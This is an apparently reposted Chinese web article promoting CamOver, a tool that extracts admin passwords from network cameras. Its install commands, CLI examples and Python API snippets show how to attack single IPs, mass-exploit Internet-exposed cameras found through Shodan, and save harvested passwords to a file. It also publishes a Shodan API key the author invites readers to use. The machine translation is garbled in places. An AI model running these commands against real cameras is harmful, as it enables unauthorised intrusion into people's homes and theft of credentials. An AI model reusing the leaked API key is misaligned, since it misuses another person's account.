CamOver

CamOver 是一款功用强大的摄像头破绽应用工具，在该工具的协助下，广阔研讨人员能够轻松破解掉你家网络摄像头的管理员密码，并接收你的摄像头。

项目地址：https://github.com/EntySec/CamOver
 

特征

应用最盛行的相机模型中的破绽，CCTV例如GoAhead和Netwave.
经过优化，可在启用线程的状况下同时应用列表中的多个摄像头。
简单的 CLI 和 API 运用。
 

装置

pip3 install git+https://github.com/EntySec/CamOver

根本用法

要运用 CamOver，只需输入camover您的终端。

usage: camover [-h] [-t] [-o OUTPUT] [-i INPUT] [-a ADDRESS] [--shodan SHODAN]

               [--zoomeye ZOOMEYE] [-p PAGES]



CamOver is a camera exploitation tool that allows to disclosure network camera

admin password.



optional arguments:

  -h, --help            show this help message and exit

  -t, --threads         Use threads for fastest work.

  -o OUTPUT, --output OUTPUT

                        Output result to file.

  -i INPUT, --input INPUT

                        Input file of addresses.

  -a ADDRESS, --address ADDRESS

                        Single address.

  --shodan SHODAN       Shodan API key for exploiting devices over Internet.

  --zoomeye ZOOMEYE     ZoomEye API key for exploiting devices over Internet.

  -p PAGES, --pages PAGES

                        Number of pages you want to get from ZoomEye.

                                 

例子

应用单摄像头

下列命令能够攻击单个网络摄像头

camover -a 192.168.99.100

应用互联网上的摄像头

让我们尝试运用 Shodan 搜索引擎来应用 Internet 上的摄像头，我们将运用它-t来快速应用它。

camover -t --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD

留意：鉴于 Shodan API 密钥 ( PSKINdQe1GyxGgecYz2191H2JoS9qvgD) 是我的 PRO API 密钥，您能够运用此密钥或您本人的密钥，免费运用我们一切的资源 🙂
 

从输入文件获取目的摄像头

我们还能够运用开放数据库中提供的摄像头地址，此时我们能够运用 -t 参数来设置多线程数量以取得更好的性能：

camover -t -i cameras.txt -o passwords.txt

此命令将会攻击 cameras.txt 中给出的一切摄像头，并会将一切获取到的密码存储至 passwords.txt 文件中。
 

API 运用

CamOver 还提供了本人的 Python API，能够将其导入至你们本人的项目代码中并调用其功用：

from camover import CamOver

根本功用

CamOver 的一切根本功用都可用于应用指定的相机。

exploit(address)- 经过给定地址应用单个摄像头。
 

例子

应用单摄像头

from camover import CamOver



camover = CamOver()

creds = camover.exploit('192.168.99.100')



print(creds)

感谢您的来访，获取更多精彩文章请收藏本站。